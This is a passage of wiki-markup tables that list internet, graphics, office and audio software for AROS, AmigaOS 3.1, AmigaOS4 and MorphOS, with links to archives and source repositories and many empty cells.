|&lt;!--AROS--&gt;[https://github.com/kaffeine1/telegram-amiga telegram-amiga], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/chat jabberwocky], 
|&lt;!--Amiga OS--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], CLIMM, SabreMSN, [https://sourceforge.net/projects/ajabberwocky/ jabberwocky], 
|&lt;!--AmigaOS4--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], SabreMSN,
|&lt;!--MorphOS--&gt;[http://amitwitter.sourceforge.net/ AmiTwitter], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 PolyglotNG], SabreMSN,
|-
|&lt;!--Sub Menu--&gt;Torrents 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/p2p ArTorr], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;CTorrent, Transmission 
|&lt;!--MorphOS--&gt;MLDonkey, Beehive, [http://morphos.lukysoft.cz/en/vypis.php?kat=5 Transmission], CTorrent, 
|-
|&lt;!--Sub Menu--&gt;FTP 
|&lt;!--AROS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], MarranoFTP, [https://aminet.net/package/comm/tcp/wput-0.3.4c.i386-aros wput i386 c src]
|&lt;!--Amiga OS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], [http://aminet.net/package/comm/tcp/AmiFTP AmiFTP], AmiTradeCenter, ncFTP, [https://aminet.net/package/comm/tcp/sana2-tftpclient sana2 tftpclient c src]
|&lt;!--AmigaOS4--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], 
|&lt;!--MorphOS--&gt;[https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], [http://morphos.lukysoft.cz/en/vypis.php?kat=5 Pftp], [http://aminet.net/package/comm/tcp/AmiFTP-1.935-OS4 AmiFTP], 
|-
|&lt;!--Sub Menu--&gt;WYSIWYG Web Site Editor
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Internet Radio Streaming Audio [http://www.gnu.org/software/gnump3d/ gnump3d], [http://www.icecast.org/ Icecast2] Server (Broadcast) and Client (Listen), [ mpd], [http://darkice.sourceforge.net/ DarkIce], [http://www.dyne.org/software/muse/ Muse], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc], Mplayer (Icecast Client only), 
|&lt;!--Amiga OS--&gt;[https://github.com/sandlbn/TuneFinder TuneFinder C Src], [https://github.com/sandlbn/TuneFinderMUI TuneFinderMUI], [http://amigazeux.net/anr/ AmiNetRadio], [https://github.com/boingball/MintAMP MintAMP], [], 
|&lt;!--AmigaOS4--&gt;[http://www.tunenet.co.uk/ Tunenet], 
|&lt;!--MorphOS--&gt;Mplayer, AmiNetRadio, 
|-
|&lt;!--Sub Menu--&gt;VoIP (Voice over IP) with SIP Client (Session Initiation Protocol) or Asterisk IAX2 Clients Softphone (skype like) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;AmiPhone with Speak Freely, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Weather Forecast 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ WeatherBar], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench AWeather], []
|&lt;!--Amiga OS--&gt;[http://amigazeux.net/wetter/ Wetter], [https://github.com/emartisoft/AmiWeatherForecasts AmiWeatherForecasts src], 
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/?function=showfile&amp;file=utility/workbench/flipclock.lha FlipClock], 
|&lt;!--MorphOS--&gt;[http://amigazeux.net/wetter/ Wetter], 
|-
|&lt;!--Sub Menu--&gt;Street Road Maps Route Planning GPS Tracking  
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/muimapparium/ MuiMapparium] [https://build.alb42.de/ Build of MuiMapp versions], 
|&lt;!--Amiga OS--&gt;AmiAtlas*, UKRoutePlus*, [http://blog.alb42.de/ AmOSM], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://blog.alb42.de/programs/mapparium/ Mapparium], 
|-
|&lt;!--Sub Menu--&gt;Clock and Date setting from the internet (either ntp or websites) [https://www.timeanddate.com/worldclock/ World Clock], [http://www.time.gov/ NIST], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/misc ntpsync],  
|&lt;!--Amiga OS--&gt;ntpsync 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Newsgroups
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;[http://newscoaster.sourceforge.net/ Newscoaster], [https://github.com/jens-maus/newsrog NewsRog], [ WorldNews], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;RSS 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/Team-Boingo/AmiRSS AmiRSS src]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;AI
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/murinsel/AmigaAI Claude], [https://github.com/geekychris/amiga_mcp AI on host machine], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;BBS
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Graphical Image Editing Art==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Image Editing
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Pixel Raster Artwork [https://github.com/LibreSprite/LibreSprite LibreSprite based on GPL aseprite], [https://github.com/abetusk/hsvhero hsvhero], [], 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/zunetools/files/ZunePaint/ ZunePaint], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit LunaPaint], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit GrafX2], [ LodePaint needs OpenGL], 
|&lt;!--Amiga OS--&gt;[http://www.amigaforever.com/classic/download.html PPaint], GrafX2, [https://github.com/grovdata/Amiga_Sources/blob/master/software.md DeluxePaint], [http://www.amiforce.de/perfectpaint/perfectpaint.php PerfectPaint], Zoetrope, Brilliance2*, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit LodePaint], GrafX2, 
|&lt;!--MorphOS--&gt;Sketch, Pixel*, GrafX2, [http://morphos.lukysoft.cz/en/vypis.php?kat=3 LunaPaint]
|-
|&lt;!--Sub Menu--&gt;Image viewing 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ ZuneView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer LookHere], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer LoView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer PicShow] , [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album], 
|&lt;!--Amiga OS--&gt;PicShow, PicView, Photoalbum,
|&lt;!--AmigaOS4--&gt;WarpView, PicShow, flPhoto, Thumbs, [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 ShowGirls], [http://amigaworld.net/modules/newbb/viewtopic.php?mode=viewtopic&amp;topic_id=31400&amp;forum=32&amp;start=80&amp;viewmode=flat&amp;order=0#583458 Picture Album]
|-
|&lt;!--Sub Menu--&gt;Photography retouching / Image Manipulation like Photoshop(tm)  
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit RNOEffects], 
|&lt;!--Amiga OS--&gt;[ Tecsoft Video Paint aka TVPaint], Photogenics*, ArtEffect*, ImageFX*, XiPaint, fxPaint, ImageMasterRT, Opalpaint, 
|&lt;!--AmigaOS4--&gt;WarpView, flPhoto, [http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit Photocrop]
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 ShowGirls], ImageFX*, 
|-
|&lt;!--Sub Menu--&gt;Manage RAW picture folder galleries like Darktable, RAWtherapy, etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Graphic Format Converter - ICC profile support sRGB, Adobe RGB, XYZ and linear RGB 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;GraphicsConverter, ImageStudio, [http://www.coplabs.org/artpro.html ArtPro]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Thumbnail Generator [], 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/ ZuneView], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/shell Thumbnail Generator]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Icon Editor
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/iconedit Archives], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench Icon Toolbox], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/iconedit IconEditor]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;2D Pixel Art Animation 
|&lt;!--AROS--&gt;Lunapaint
|&lt;!--Amiga OS--&gt;PPaint, AnimatED, Scala*, GoldDisk MovieSetter*, Walt Disney's Animation Studio*, ProDAD*, [https://github.com/historicalsource/DeluxePaint DeluxePaint src], Brilliance
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=3 Titler] 
|-
|&lt;!--Sub Menu--&gt;2D SVG based MovieSetter type 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;MovieSetter*, Fantavision*
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Morphing 
|&lt;!--AROS--&gt;[ GLMorph]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;2D Cad (qcad-&gt;LibreCAD, etc.) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Xcad, MaxonCAD
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Cad like FreeCad, BRL-CAD, OpenSCAD, AvoCADo, etc. using dxf, obj (vertices), blend, 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;XCad3d*, DynaCADD*, [https://aminet.net/package/gfx/3d/Cycas178_EN Cycas]*, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Model Rendering of glft (json) gbl (png jpg), usdz (USD files with materials, textures, and animations), FBX Filmbox is a proprietary Autodesk format, 
|&lt;!--AROS--&gt;POV-Ray
|&lt;!--Amiga OS--&gt;[http://www.discreetfx.com./amigaproducts.html CINEMA 4D]*, POV-Ray, Lightwave3D*, Real3D*, Caligari24*, Reflections/Monzoom*, [https://github.com/privatosan/RayStorm Raystorm src], Tornado 3D, [https://github.com/AlphaPixel/Eric-Graham-1987-Juggler-Raytracer-1.0 Eric-Graham-1987-Juggler-Raytracer-1.0]
|&lt;!--AmigaOS4--&gt;Blender, POV-Ray, Yafray
|&lt;!--MorphOS--&gt;Blender, POV-Ray, Yafray
|-
|&lt;!--Sub Menu--&gt;3D Format Converter [], [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/?function=showfile&amp;file=graphics/convert/ 3doc.i386-aros], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=showfile&amp;file=graphics/convert/ivcon.lha IVCon]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen grabbing display 
|&lt;!--AROS--&gt;[ Screengrabber], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/misc snapit], [http://archives.arosworld.org/index.php?function=browse&amp;cat=video/record screen recorder], []
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Grab graphics music from apps [https://github.com/Malvineous/ripper6 ripper6], [],
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Office Application==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Office
!width:10%;|AROS (x86)
!width:10%;|[http://en.wikipedia.org/wiki/Amiga_software Commodore-Amiga OS 3.1] (68k)
!width:10%;|[http://en.wikipedia.org/wiki/AmigaOS_4 Hyperion OS4] (PPC)
!width:10%;|[http://en.wikipedia.org/wiki/MorphOS MorphOS] (PPC)
|-
|&lt;!--Sub Menu--&gt;Office Suite 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[ Softwood Final Office], [ Wordworth Office], [ Digita Office],  [ The Works!], [ Europress Mini Office], [], [ Papyrus Office Demo], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[ Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Word-processing 
|&lt;!--AROS--&gt;[https://finalwriter.godaddysites.com/ Final Writer 7*], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1995&amp;rowstart=20&amp;pid=12668#post_12668 Slovo], [https://github.com/sodero/MUI-Vim/releases MUI-Vim], [https://archives.arosworld.org/index.php?function=browse&amp;cat=office/wordprocessing Cinnamon Writer], [], 
|&lt;!--AmigaOS--&gt;[ Softwood FinalCopy II*], Haage AmigaWriter*, Digita WordWorth*, Softwood FinalWriter*, Micro-Systems Excellence 3*, Arnor Protext, Rashumon, [ InterWord], [ KindWords], [WordPerfect], [ New Horizons Flow], [ CygnusEd Pro], [ Micro-systems Scribble], 
|&lt;!--AmigaOS4--&gt;AbiWord, [ CinnamonWriter], 
|&lt;!--MorphOS--&gt;[ Cinnamon Writer], [http://www.meta-morphos.org/viewtopic.php?topic=1246&amp;forum=53 scriba], [http://morphos.lukysoft.cz/en/index.php Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Spreadsheets 
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/leu/ Leu], [https://archives.arosworld.org/index.php?function=browse&amp;cat=office/spreadsheet ], 
|&lt;!--AmigaOS--&gt;[https://aminet.net/package/biz/spread/ignition-src Ignition Src 1.3], [MaxiPlan 500 Plus], [OXXI Plan/IT v2.0 Speadsheet], [ Superplan], [ Creative Developments TurboCalc], [ ProCalc], [ InterSpread], [Digita DGCalc], [ Gold Disk Advantage], [ Micro-systems Analyze!]
|&lt;!--AmigaOS4--&gt;Gnumeric, [https://ignition-amiga.sourceforge.net/ Ignition], 
|&lt;!--MorphOS--&gt;[ ignition], [http://morphos.lukysoft.cz/en/vypis.php Papyrus Office], 
|-
|&lt;!--Sub Menu--&gt;Presentations
|&lt;!--AROS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, 
|&lt;!--Amiga OS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, [https://github.com/evaneykelen/mediapoint-amiga MediaPoint C and asm], PointRider, Scala*, 
|&lt;!--Amiga OS4--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, PointRider 
|&lt;!--MorphOS--&gt;[http://www.hollywoood-mal.com/ Hollywood]*, PointRider
|-
|&lt;!--Sub Menu--&gt;Databases 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=office/database BeeBase], 
|&lt;!--Amiga OS--&gt;Precision Superbase 4 Pro*, Arnor Prodata*, [https://sourceforge.net/projects/beebase/ BeeBase], Datastore, FinalData*, AmigaBase, Fiasco, Twist2*, [Digita DGBase], [], 
|&lt;!--AmigaOS4--&gt;BeeBase, SQLite, 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=6 BeeBase], 
|-
|&lt;!--Sub Menu--&gt;PDF Viewing and editing digital signatures 
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/arospdf/ ArosPDF via splash], [https://github.com/wattoc/AROS-vpdf vpdf wip], 
|&lt;!--Amiga OS--&gt;APDF 
|&lt;!--AmigaOS4--&gt;AmiPDF 
|&lt;!--MorphOS--&gt;APDF, vPDF, 
|-
|&lt;!--Sub Menu--&gt;Note Taking markdown support like Obsidian like, joplin, OneNote, EverNotes, xournalpp, etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Study and analyse, collect, organize, annotate, cite, and share
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;PIM Personal Information Manager - Day Diary Planner Calendar App 
|&lt;!--AROS--&gt;[ ], [ ], [ ], 
|&lt;!--Amiga OS--&gt;Digita Organiser*, On The Ball, Everyday Organiser, [ Contact Manager], 
|&lt;!--AmigaOS4--&gt;AOrganiser, 
|&lt;!--MorphOS--&gt;[http://polymere.free.fr/orga_en.html PolyOrga], 
|-
|&lt;!--Sub Menu--&gt;Accounting
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=office/misc ETB], LoanCalc, [ ], [ ], [ ], 
|[ Digita Home Accounts2], Accountant, Small Business Accounts, Account Master, [ Amigabok], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Project Management Research 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;SuperGantt, SuperPlan, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Desktop 
|&lt;!--AROS--&gt;Wanderer, Scalos, Workbook, DOpus5, 
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[https://github.com/zapek/Ambient Ambient Src]
|-
|&lt;!--Sub Menu--&gt;System Wide Search 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=utility/filetool Finder], [], [], 
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System Wide Dictionary - multilingual [http://sourceforge.net/projects/babiloo/ Babiloo], [http://code.google.com/p/stardict-3/ StarDict], 
|&lt;!--AROS--&gt;[ ],  
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System wide Thesaurus - multi lingual
|&lt;!--AROS--&gt;[ ], 
|Kuma K-Roget*, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Sticky Desktop Notes (post it type) 
|&lt;!--AROS--&gt;[http://aminet.net/package/util/wb/amimemos.i386-aros AmiMemos], [https://aminet.net/package/util/wb/amimemos.src-aros AmiMemos Src], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/util/wb/StickIt-2.00 StickIt v2], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;DTP Desktop Publishing 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit RNOPublisher], 
|&lt;!--Amiga OS--&gt;[http://pagestream.org/ Pagestream]*, Professional Pro Page*, Saxon Publisher, Pagesetter, PenPal, 
|&lt;!--AmigaOS4--&gt;[http://pagestream.org/ Pagestream]* 
|&lt;!--MorphOS--&gt;[http://pagestream.org/ Pagestream]* 
|-
|&lt;!--Sub Menu--&gt;Printing 
|&lt;!--AROS--&gt;Postscript 3 laser printers, [https://github.com/bohunamiga/MintPRINT MintPRINT AirPrint IPP], [ Ghostscript], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/boingball/MintPRINT MintPRINT IPP], [https://github.com/Andiweli/AmiAirprint AmiAirprint], [http://www.irseesoft.de/tp_what.htm TurboPrint]*, [ GutenPrint], [https://aminet.net/package/comm/tcp/NetPrinter NetPrinter LPR], [], [], 
|&lt;!--AmigaOS4--&gt;(some native drivers), 
|&lt;!--MorphOS--&gt;early TurboPrint included, [https://aminet.net/package/comm/tcp/NetPrinter NetPrinter LPR], 
|-
|&lt;!--Sub Menu--&gt;Scanning 
|&lt;!--AROS--&gt;[ SCANdal], [], 
|&lt;!--Amiga OS--&gt;FxScan*, ScanQuix*, [https://github.com/boingball/MintSCAN MintSCAN], 
|&lt;!--AmigaOS4--&gt;SCANdal (Sane)
|&lt;!--MorphOS--&gt;SCANdal
|-
|&lt;!--Sub Menu--&gt;OCR
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/convert gOCR] 
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos-files.net/categories/office/text Tesseract] 
|-
|&lt;!--Sub Menu--&gt;Text Editing
|&lt;!--AROS--&gt;Jano Editor (already installed as Editor), [http://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit EdiSyn], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit Annotate], [https://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit Vim], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit FrexxEd] [https://github.com/vidarh/FrexxEd src], [ NoWinEd], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/text/edit/TurboText20 TurboText20 ttx], Annotate, MicroGoldED/CubicIDE*, CygnusED*, Protext*, NoWinED, 
|&lt;!--AmigaOS4--&gt;Notepad, Annotate, CygnusED*, NoWinED, 
|&lt;!--MorphOS--&gt;MorphOS ED, NoWinED, GoldED/CubicIDE*, CygnusED*, Annotate, 
|-
|&lt;!--Sub Menu--&gt;Office Fonts [http://sourceforge.net/projects/fontforge/files/fontforge-source/ Font Designer] 
|&lt;!--AROS--&gt;[ ], [ ], 
|&lt;!--Amiga OS--&gt;TypeSmith*, SaxonScript (GetFont Adobe Type 1), 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Drawing Vector
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/amifig/ ZuneFIG previously AmiFIG], [https://github.com/serk118/designworks-aros designworks aros 64bit]
|&lt;!--Amiga OS--&gt;Drawstudio*, ProVector*, ArtExpression*, Professional Draw*, AmiFIG, MetaView, [https://gitlab.com/amigasourcecodepreservation/designworks Design Works Src], [], 
|&lt;!--AmigaOS4--&gt;MindSpace, [http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit amifig], 
|&lt;!--MorphOS--&gt;SteamDraw, [http://aminet.net/package/gfx/edit/amifig amiFIG], 
|-
|&lt;!--Sub Menu--&gt;video conferencing (jitsi) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;source code hosting
|&lt;!--AROS--&gt;Gitlab, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Remote Desktop (server)
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/VNC_Server ArosVNCServer], 
|&lt;!--Amiga OS--&gt;[http://s.guillard.free.fr/AmiVNC/AmiVNC.htm AmiVNC], [http://dspach.free.fr/amiga/avnc/index.html AVNC]
|&lt;!--AmigaOS4--&gt;[http://s.guillard.free.fr/AmiVNC/AmiVNC.htm AmiVNC] 
|MorphVNC, vncserver
|-
|&lt;!--Sub Menu--&gt;Remote Desktop (client) login and connect to another machine 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/zunetools/files/VNC_Client/ ArosVNC], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/misc rdesktop], 
|&lt;!--Amiga OS--&gt;[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://dspach.free.fr/amiga/vva/index.html VVA], [http://www.hd-zone.com/ RDesktop]
|&lt;!--AmigaOS4--&gt;[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://www.hd-zone.com/ RDesktop]
|[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://www.hd-zone.com/ RDesktop]
|-
|&lt;!--Sub Menu--&gt;notifications 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Ranchero 
|&lt;!--AmigaOS4--&gt;Ringhio 
|&lt;!--MorphOS--&gt;MagicBeacon 
|-
|&lt;!--Sub Menu--&gt;Biometric facial logins and fingerprint security features 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Audio==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Audio
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Playing playback Audio like MP3, [https://github.com/chrg127/gmplayer NSF], [https://github.com/kode54/lazyusf miniusf .usflib] [https://gitlab.com/kode54/psflib with pfslib], [], [], etc 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/play Mplayer], [ HarmonyPlayer hp], [http://www.a500.org/downloads/audio/index.xhtml playcdda] CDs, [ WildMidi Player], [https://bszili.morphos.me/ UADE mod player], [], [ RNOTunes], [ mp3Player], [], 
|&lt;!--Amiga OS--&gt;AmiNetRadio, AmigaAmp, playOGG, [https://codeberg.org/tygre/amimodradio amimodradio]
|&lt;!--AmigaOS4--&gt;TuneNet, SimplePlay, AmigaAmp, TKPlayer
|AmiNetRadio, Mplayer, Kaya, AmigaAmp
|-
|&lt;!--Sub Menu--&gt;Editing Audio 
|&lt;!--AROS--&gt;[ Audio Evolution 4] 
|&lt;!--Amiga OS--&gt;[https://sourceforge.net/projects/hd-rec/ HD-Rec Src], [http://www.sonicpulse.de/eng/news.html SoundFX], [ Samplitude], 
|&lt;!--AmigaOS4--&gt;[https://sourceforge.net/projects/hd-rec/ HD-Rec], AmiSoundED, [http://os4depot.net/?function=showfile&amp;file=audio/record/audioevolution4.lha Audio Evolution 4] 
|[http://www.hd-rec.de/HD-Rec/index.php?site=home HD-Rec], 
|-
|&lt;!--Sub Menu--&gt;Editing Tracker Music
|&lt;!--AROS--&gt;[https://github.com/hitchhikr/protrekkr Protrekkr], [ Schism Tracker], [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/tracker MilkyTracker], [http://www.hivelytracker.com/ HivelyTracker], [ Radium in AROS already],  [http://www.a500.org/downloads/development/index.xhtml libMikMod], 
|&lt;!--Amiga OS--&gt;MilkyTracker, HivelyTracker, DigiBooster, Octamed SoundStudio, [https://github.com/elindstrom/soundtracker soundtracker], 
|&lt;!--AmigaOS4--&gt;MilkyTracker, HivelyTracker, GoatTracker
|MilkyTracker, GoatTracker, DigiBooster, 
|-
